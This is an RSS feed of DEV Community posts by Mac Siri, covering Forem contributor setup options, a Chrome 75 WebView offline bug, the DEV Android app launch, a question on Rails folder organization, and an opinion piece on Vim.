<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mac Siri</title>
    <description>The latest articles on DEV Community by Mac Siri (@maestromac).</description>
    <link>https://dev.to/maestromac</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F560%2Fa2fed92f-a747-41f7-953c-28da1ade0e95.jpeg</url>
      <title>DEV Community: Mac Siri</title>
      <link>https://dev.to/maestromac</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/maestromac"/>
    <language>en</language>
    <item>
      <title>📢 Announcing New Local Dev Setup Options for Contributing to Forem!</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Fri, 22 Sep 2023 00:57:02 +0000</pubDate>
      <link>https://dev.to/devteam/announcing-new-local-dev-setup-options-for-contributing-to-forem-2p49</link>
      <guid>https://dev.to/devteam/announcing-new-local-dev-setup-options-for-contributing-to-forem-2p49</guid>
      <description>&lt;p&gt;It's almost that time of the year again: &lt;a href="https://hacktoberfest.com/" rel="noopener noreferrer"&gt;Hacktoberfest&lt;/a&gt;! The month-long celebration of supporting open-source. If you were ever on the fence or just curious about &lt;a href="https://www.forem.com/about" rel="noopener noreferrer"&gt;Forem&lt;/a&gt; but lacked the time to properly set up a local development environment, I'm excited to share with you all a few &lt;strong&gt;new&lt;/strong&gt; expedited ways that we cooked up ahead of this event. &lt;/p&gt;

&lt;p&gt;Here are a few ways to quickly get started with contributing to DEV:&lt;/p&gt;

&lt;h2&gt;
  
  
  Github CodeSpace &amp;amp; Gitpod: The absolute fastest way
&lt;/h2&gt;

&lt;p&gt;Both of these tools are cloud development environments. They are good for quickly poking around the codebase and the go-to daily driver tool. Because they are web-based, they have the added benefit of being able to run on any computer, tablet, or even your phone if you want the extra challenge. Both tools are similar and come with free plan hours, so you are free to choose. Our cloud environment comes with all the dependencies installed and the database seeded. Click on one of the options below to get started!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/codespaces/new/forem/forem" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/codespaces/badge.svg" alt="Open in GitHub Codespaces"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://gitpod.io/#https://github.com/forem/forem" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgitpod.io%2Fbutton%2Fopen-in-gitpod.svg" alt="Open in Gitpod"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  VS Code with Dev Containers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Forem now supports dev containers!&lt;/strong&gt; This means you can have a flexible containerized development environment with all the required dependencies set up in under 15 minutes on most modern machines. All you need is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.docker.com/" rel="noopener noreferrer"&gt;Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://code.visualstudio.com/" rel="noopener noreferrer"&gt;VS Code&lt;/a&gt; with the &lt;a href="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers" rel="noopener noreferrer"&gt;dev container extension&lt;/a&gt; installed&lt;/li&gt;
&lt;li&gt;Our &lt;a href="https://github.com/forem/forem" rel="noopener noreferrer"&gt;Forem repository&lt;/a&gt; cloned&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Open up your VS Code and use the command in the command palette, &lt;code&gt;Dev Containers: Rebuild and Reopen in Container&lt;/code&gt;, and you're ready to go!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fforem%2Fforem%2Fassets%2F15793250%2F157a58a4-41f4-4114-bfce-da1380151d8c" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fforem%2Fforem%2Fassets%2F15793250%2F157a58a4-41f4-4114-bfce-da1380151d8c" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Containerized setup with &lt;code&gt;dip&lt;/code&gt; gem
&lt;/h2&gt;

&lt;p&gt;Want the convenience of containerized setup without having to deal with learning and running Docker commands? &lt;code&gt;dip&lt;/code&gt; gem is here to help. The folks at &lt;a href="https://evilmartians.com/chronicles/ruby-on-whales-docker-for-ruby-rails-development" rel="noopener noreferrer"&gt;Evil Martians&lt;/a&gt; devised this CLI tool that provides a native-like interaction. Once you have &lt;a href="https://www.docker.com/" rel="noopener noreferrer"&gt;Docker&lt;/a&gt; installed and our &lt;a href="https://github.com/forem/forem" rel="noopener noreferrer"&gt;repository&lt;/a&gt; cloned:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gem install dip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dip provision&lt;/code&gt; to build images and download dependencies&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dip rails s&lt;/code&gt; to start the server!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmuipiore2smv40egrddl.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmuipiore2smv40egrddl.gif" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The one downside to this method is that it will still rely on your system's Ruby, but the benefits truly outweigh the cons. To see more commands, run &lt;code&gt;dip ls&lt;/code&gt;. You are free to use any Code Editor if you go this route (vs being tied to VS Code).&lt;/p&gt;

&lt;h2&gt;
  
  
  DIY setup aka bare metal
&lt;/h2&gt;

&lt;p&gt;Setting up manually is &lt;strong&gt;always&lt;/strong&gt; an option! If you have a preference or want additional flexibility in the tools for your craft, you are free to set up however you want. Forem does not use dependencies that stray too far off the beaten path, but it won't exactly be trivial if this is your very first Rails app setup. &lt;strong&gt;We are revamping this documentation to make this process even more straightforward, so stayed tuned!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We hope that offering these options will smoothen the path of your coding journey. Please let us know if you encounter any issues by opening up a bug issue in &lt;a href="https://github.com/forem/forem/issues/new?assignees=&amp;amp;labels=bug&amp;amp;projects=&amp;amp;template=bug_report.md&amp;amp;title=" rel="noopener noreferrer"&gt;our issue queue&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Happy Coding and Happy Hacktoberfest!&lt;/p&gt;

</description>
      <category>hacktoberfest23</category>
      <category>meta</category>
      <category>opensource</category>
      <category>documentation</category>
    </item>
    <item>
      <title>Which code coverage tool do you use?</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Tue, 19 Jan 2021 22:51:58 +0000</pubDate>
      <link>https://dev.to/maestromac/which-code-coverage-tool-do-you-use-4kd5</link>
      <guid>https://dev.to/maestromac/which-code-coverage-tool-do-you-use-4kd5</guid>
      <description>&lt;p&gt;We here at Forem uses CodeClimate. &lt;/p&gt;

&lt;p&gt;Looking to see what you all are using!&lt;/p&gt;

</description>
      <category>codequality</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Changelog: Status page</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Wed, 24 Jun 2020 12:53:19 +0000</pubDate>
      <link>https://dev.to/devteam/changelog-status-page-3lg2</link>
      <guid>https://dev.to/devteam/changelog-status-page-3lg2</guid>
      <description>&lt;p&gt;We are happy to announce our status page at &lt;a href="https://status.dev.to"&gt;https://status.dev.to&lt;/a&gt;! &lt;/p&gt;

&lt;p&gt;We've been relying solely on our twitter account to communicate our status since the very beginning and now that is changing. Our status page will provide another channel of immediate communication about the status of dev.to to all DEV users and API consumers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fwv6bshjjj67qwr5v3j77.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fwv6bshjjj67qwr5v3j77.png" alt="status page" width="800" height="941"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Keep up with our real-time status and metrics at &lt;a href="https://status.dev.to"&gt;https://status.dev.to&lt;/a&gt;! &lt;/p&gt;

</description>
      <category>changelog</category>
      <category>meta</category>
    </item>
    <item>
      <title>Microsoft announce the new Surface Neo</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Thu, 03 Oct 2019 17:22:45 +0000</pubDate>
      <link>https://dev.to/maestromac/microsoft-announce-the-new-surface-neo-20f9</link>
      <guid>https://dev.to/maestromac/microsoft-announce-the-new-surface-neo-20f9</guid>
      <description>&lt;p&gt;Check out Microsoft's take on a new foldable piece of technology.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/fssZICsV4Rg"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;What do y'all think?&lt;/p&gt;

</description>
      <category>news</category>
      <category>foldable</category>
    </item>
    <item>
      <title>A Bug in Chrome 75 Caused Random Offline Pages</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Fri, 28 Jun 2019 19:04:10 +0000</pubDate>
      <link>https://dev.to/devteam/a-bug-in-chrome-75-caused-random-offline-pages-4jii</link>
      <guid>https://dev.to/devteam/a-bug-in-chrome-75-caused-random-offline-pages-4jii</guid>
      <description>&lt;p&gt;Towards the end of May, we started to receive a lot of reports from DEV users that our Android App was giving them an &lt;strong&gt;&lt;code&gt;Offline&lt;/code&gt;&lt;/strong&gt; message even when they had an internet connection. Additional reports came in from users trying to access DEV articles from the Facebook in-app browser, the DuckDuckGo browser, and others. This alarmed us, and we immediately set to work to fix the problem.  Days went by and we couldn't make any progress on mitigating the issue. &lt;/p&gt;

&lt;p&gt;We simply couldn't reproduce the issue at all on my phone or on the emulator.&lt;/p&gt;

&lt;p&gt;Since we use webviews within our Android app, this situation was not good for our &lt;a href="https://play.google.com/store/apps/details?id=to.dev.dev_android&amp;amp;hl=en_US" rel="noopener noreferrer"&gt;Google Play Store reviews&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F15brsm3burfoz1377ega.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F15brsm3burfoz1377ega.png" alt="screenshot of Google Play store reviews"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tunneled-visioned myself into thinking that I could fix the problem if I could just replicate it myself. As soon as I was about to give up and ask for help, I found this &lt;a href="https://bugs.chromium.org/p/chromium/issues/detail?id=977784" rel="noopener noreferrer"&gt;bug report&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Starting towards the end of May we started receiving sporadic reader complaints that our app was reporting that certain functionality wasn't available due to the app being offline - when actually being online. We verify connectivity before certain actions by making a network request, and this was failing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It turns out the bug was caused by an experiment they were conducting in Chrome 75. Depending on the device, WebView would be relying on Chrome 75 and because it is still an experiment, it can happen randomly. To put it simply, if &lt;code&gt;IoThreadClient&lt;/code&gt; is null, the web request is aborted, hence the immediate offline page. A soon as they found the cause, they &lt;a href="https://chromium-review.googlesource.com/c/chromium/src/+/1675358" rel="noopener noreferrer"&gt;patched it swiftly&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Within that bug report, engineers from renowned publications such as &lt;em&gt;LinkedIn&lt;/em&gt; and &lt;em&gt;The Financial Times&lt;/em&gt; chimed in.  They also maintain apps that rely on Service Workers and were similarly frustrated. These apps are collectively utilized by billions of customers and many were quite unhappy. It is an especially damaging bug because their apps did nothing wrong, and were getting hit by a lot of bad ratings and angry reviews.&lt;/p&gt;

&lt;p&gt;There are &lt;a href="https://bugs.chromium.org/p/chromium/issues/detail?id=977784#c111" rel="noopener noreferrer"&gt;some reports&lt;/a&gt; that the issue may still be going on for some, but shout out to the Chromium team for responding so quickly with a fix. The issue has not been closed conclusively but should be soon.&lt;/p&gt;

&lt;p&gt;To those of you who might still be experiencing this problem, try clearing the storage/cache our app once or twice, and you should be able to access our app. It may produce a fix, and if not it should hopefully be 100% fixed soon.&lt;/p&gt;

</description>
      <category>serviceworker</category>
      <category>news</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Announcing DEV for Android</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Wed, 24 Apr 2019 13:03:26 +0000</pubDate>
      <link>https://dev.to/devteam/announcing-dev-for-android-4c3j</link>
      <guid>https://dev.to/devteam/announcing-dev-for-android-4c3j</guid>
      <description>&lt;p&gt;The wait is over! We are excited to announce the &lt;a href="https://play.google.com/store/apps/details?id=to.dev.dev_android" rel="noopener noreferrer"&gt;DEV Community app for Android&lt;/a&gt;. Similar to our approach with iOS, we heavily leveraged native shell/web views and will include more native code over time. There are a few known issues but we're excited to have a starting point for future enhancements! &lt;/p&gt;

&lt;p&gt;We're also on &lt;a href="https://www.producthunt.com/@jessleenyc/collections/dev-community" rel="noopener noreferrer"&gt;Product Hunt&lt;/a&gt; today. 😊&lt;/p&gt;

&lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=to.dev.dev_android" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fc7l3jt7fxb900ilc12yf.gif"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://play.google.com/store/apps/details?id=to.dev.dev_android&amp;amp;pcampaignid=MKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1" rel="noopener noreferrer"&gt;&lt;img alt="Get it on Google Play" src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fplay.google.com%2Fintl%2Fen_us%2Fbadges%2Fimages%2Fgeneric%2Fen_badge_web_generic.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Please let us know your feedback and suggestions as you start to try out the app. And just like our web app and iOS app, the Android app is open-source!&lt;/p&gt;

&lt;p&gt;Contributions by way of issues and PRs are very very welcomed:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/forem" rel="noopener noreferrer"&gt;
        forem
      &lt;/a&gt; / &lt;a href="https://github.com/forem/DEV-Android" rel="noopener noreferrer"&gt;
        DEV-Android
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      DEV Community Android App
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;DEV Android 💝&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://codeclimate.com/github/thepracticaldev/DEV-Android/maintainability" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/a31104bdd45aa31ebe9c15301b666ea5aaf1a3d77459a729a393ddf9b7e61c10/68747470733a2f2f6170692e636f6465636c696d6174652e636f6d2f76312f6261646765732f61643331623861323637613337343735653134632f6d61696e7461696e6162696c697479"&gt;&lt;/a&gt;
&lt;a href="https://codeclimate.com/github/thepracticaldev/DEV-Android/test_coverage" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/ca4cbf1e5c963359537b83b18b5edd67288374fc0a11d93b17984900c4440ae8/68747470733a2f2f6170692e636f6465636c696d6174652e636f6d2f76312f6261646765732f61643331623861323637613337343735653134632f746573745f636f766572616765"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is the official repository for the &lt;a href="https://dev.to/" rel="nofollow"&gt;dev.to&lt;/a&gt;'s Android app.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=to.dev.dev_android&amp;amp;pcampaignid=MKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1" rel="nofollow noopener noreferrer"&gt;&lt;img width="150px" alt="Get it on Google Play" src="https://camo.githubusercontent.com/1c498046b5901ad8edbda2642aac002794df0c6f17aac9787f648bf776912914/68747470733a2f2f706c61792e676f6f676c652e636f6d2f696e746c2f656e5f75732f6261646765732f696d616765732f67656e657269632f656e5f62616467655f7765625f67656e657269632e706e67"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Design ethos&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;DEV Android is an &lt;a href="https://developer.android.com/guide/webapps/webview" rel="nofollow noopener noreferrer"&gt;WebView&lt;/a&gt; based application. This application is inspired by &lt;a href="https://m.signalvnoise.com/basecamp-3-for-ios-hybrid-architecture-afc071589c25" rel="nofollow noopener noreferrer"&gt;Basecamp's approach&lt;/a&gt;. We will grow to include more native code over time.&lt;/p&gt;
&lt;p&gt;By leveraging webviews as much as possible, we can smoothly sync up with our web dev work. And where it makes sense, we can re-implement certain things fully native, or build entirely native features. Life's a journey, not a destination.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Contributions&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;We expect contributors to abide by our underlying &lt;a href="https://github.com/forem/DEV-Android./CODE_OF_CONDUCT.md" rel="noopener noreferrer"&gt;code of conduct&lt;/a&gt;. All conversations and discussions on GitHub (issues, pull requests) and across dev.to must be respectful and harassment-free.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;System Requirements&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;You will need to have Android Studio 3.5 or up installed.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Usage&lt;/h3&gt;

&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;$ ./gradlew tasks --group=custom
------------------------------------------------------------
Tasks runnable from root project
------------------------------------------------------------

Custom tasks
------------
androidTest - Run android instrumentation tests
hello - Hello World task&lt;/pre&gt;…
&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/forem/DEV-Android" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/forem" rel="noopener noreferrer"&gt;
        forem
      &lt;/a&gt; / &lt;a href="https://github.com/forem/DEV-ios" rel="noopener noreferrer"&gt;
        DEV-ios
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      DEV Community iOS App
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;p&gt;&lt;a href="https://travis-ci.com/thepracticaldev/DEV-ios" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/748028f7dc2dda4332806bf2c588384c09f4689c46b9c9d2b67f9e85536140d8/68747470733a2f2f7472617669732d63692e636f6d2f74686570726163746963616c6465762f4445562d696f732e7376673f6272616e63683d6d6173746572" alt="Build Status"&gt;&lt;/a&gt;
&lt;a href="https://github.com/thepracticaldev/DEV-ios/blob/master/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/7405aee296a8815dba53c61bd4579c2c7fd30a6948023b16080fc93b83a80e79/687474703a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d47504c25323076332d626c75652e7376673f7374796c653d666c6174" alt="GitHub License"&gt;&lt;/a&gt;
&lt;a href="https://developer.apple.com/swift" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b10de64a4362ff0c7d4bc11b6d6ca87dab4e99067d17e73a88b4e202501ef00b/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c616e67756167652d53776966745f352d6634383034312e7376673f7374796c653d666c6174" alt="Language"&gt;&lt;/a&gt;
&lt;a href="https://codeclimate.com/github/thepracticaldev/DEV-ios/maintainability" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/ab50a017190900e3a59a2521ce354c8147b647c079a9c5b4829d7d4132f4fbe6/68747470733a2f2f6170692e636f6465636c696d6174652e636f6d2f76312f6261646765732f62313632333232303637373430373235616430322f6d61696e7461696e6162696c697479" alt="Maintainability"&gt;&lt;/a&gt;
&lt;a href="https://codeclimate.com/github/thepracticaldev/DEV-ios/test_coverage" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/7c4e1e0627ff243356f6d3a785f1ba9d41c8f4468187ee5382911132ca54499e/68747470733a2f2f6170692e636f6465636c696d6174652e636f6d2f76312f6261646765732f62313632333232303637373430373235616430322f746573745f636f766572616765" alt="Test Coverage"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;DEV iOS 💖&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;This is the repo for the &lt;a href="https://dev.to" rel="nofollow"&gt;dev.to&lt;/a&gt; iOS app.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Status:&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;Released first version, more info: &lt;a href="https://twitter.com/bendhalpern/status/1061323718058786822" rel="nofollow noopener noreferrer"&gt;https://twitter.com/bendhalpern/status/1061323718058786822&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Design ethos&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;We will grow to include more native code over time, but for now we are taking the approach of &lt;em&gt;native shell/web views&lt;/em&gt;. This approach lost favor early in iOS days, but I believe it is a very valid approach these days. It is inspired by how Basecamp does things. Our tech stack is a bit different, but the ideas are the same.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://m.signalvnoise.com/basecamp-3-for-ios-hybrid-architecture-afc071589c25" rel="nofollow noopener noreferrer"&gt;https://m.signalvnoise.com/basecamp-3-for-ios-hybrid-architecture-afc071589c25&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://signalvnoise.com/posts/3743-hybrid-sweet-spot-native-navigation-web-content" rel="nofollow noopener noreferrer"&gt;https://signalvnoise.com/posts/3743-hybrid-sweet-spot-native-navigation-web-content&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://signalvnoise.com/posts/3766-hybrid-how-we-took-basecamp-multi-platform-with-a-tiny-team" rel="nofollow noopener noreferrer"&gt;https://signalvnoise.com/posts/3766-hybrid-how-we-took-basecamp-multi-platform-with-a-tiny-team&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=SWEts0rlezA" rel="nofollow noopener noreferrer"&gt;https://www.youtube.com/watch?v=SWEts0rlezA&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;By leveraging &lt;code&gt;wkwebviews&lt;/code&gt; as much as possible, I think we can make this all pretty awesome and sync up with our web dev work pretty smoothly. And where it makes sense, we can re-implement certain things fully native, or build entirely native features. Life's a journey, not a destination.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Contributing&lt;/h1&gt;

&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Fork and clone the project.&lt;/li&gt;
&lt;li&gt;Build and run the project in XCode.&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/forem/DEV-ios" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;You can still install the app as PWA and we will continue to support various installation paths of DEV.&lt;/p&gt;

&lt;p&gt;Happy Coding ❤️&lt;/p&gt;

</description>
      <category>android</category>
      <category>meta</category>
    </item>
    <item>
      <title>How to best organize a Rails app folder?</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Fri, 19 Oct 2018 19:54:19 +0000</pubDate>
      <link>https://dev.to/maestromac/how-to-best-organize-a-rails-app-folder-18of</link>
      <guid>https://dev.to/maestromac/how-to-best-organize-a-rails-app-folder-18of</guid>
      <description>&lt;p&gt;Aside from all the rudimentary folders, we have a few that are generated by gems we use, and then there's the custom folders we've created. It's not obvious sometime what should go where. We have folders called "labor" and "services" which are for plain-old-ruby-objects; We had some purpose to these patterns but it never really materialized. Now it's just confusing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app
├── assets
├── controllers
├── dashboards (created by administrate gem)
├── decorators (created by draper gem)
├── fields (created by administrate gem)
├── helpers
├── javascript (created by Webpacker gem)
├── labor [** we created **]
├── lib
├── liquid_tags [** we created **]
├── mailers
├── models
├── observers [** we created **]
├── policies (created by Pundit gem)
├── sanitizers [** we created **]
├── services [** we created **]
├── uploads (created by carrierwave gem)
└── views
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or &lt;a href="https://github.com/thepracticaldev/dev.to/tree/master/app"&gt;check it out here on GitHub&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How do you organize your Rails &lt;code&gt;app&lt;/code&gt; folder? Any and all opinionated suggestion welcomed!&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>rails</category>
      <category>meta</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Vim won't make you a more productive developer</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Wed, 05 Sep 2018 21:54:06 +0000</pubDate>
      <link>https://dev.to/maestromac/vim-wont-make-you-a-more-productive-developer-h9f</link>
      <guid>https://dev.to/maestromac/vim-wont-make-you-a-more-productive-developer-h9f</guid>
      <description>&lt;p&gt;&lt;em&gt;Disclaimer: I am playing devil’s advocate. I do believe Vim makes me more efficient with some trade-off, YMMV.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We, as developers, spend a lot of our time on our text editor of choice. Choosing to use Vim, in my opinion, ultimately won't make a huge difference with any other editor. The majority of modern editors are more than capable to handle the task at hand and are much easier to get started with. &lt;/p&gt;

&lt;p&gt;You want to use Vim? Sure. After you are vaguely familiar with it, you will dive deep into Vim's ecosystem and soon learn about the variety of flavors Vim comes in and the many ways to manage plugins and configuration. Suddenly need to code in Java? well darn, you'll need to expand your code completion, syntax highlighting, and add additional functions like compilation.&lt;/p&gt;

&lt;p&gt;And after going through all of that, would you argue that you emerged out of it a stronger better developer? Or would you say it was all but a distraction and the time spent there could've been spent on coding and learning about other facets of programming? &lt;/p&gt;

&lt;p&gt;I use Vim daily and I love it, but it's kind of difficult for me to recommend it because it truly is a time-sink. What the folks rave about is more about Vim-navigation and not Vim itself, and that is easily solved with Vim-mode, which is available in most editors.&lt;/p&gt;

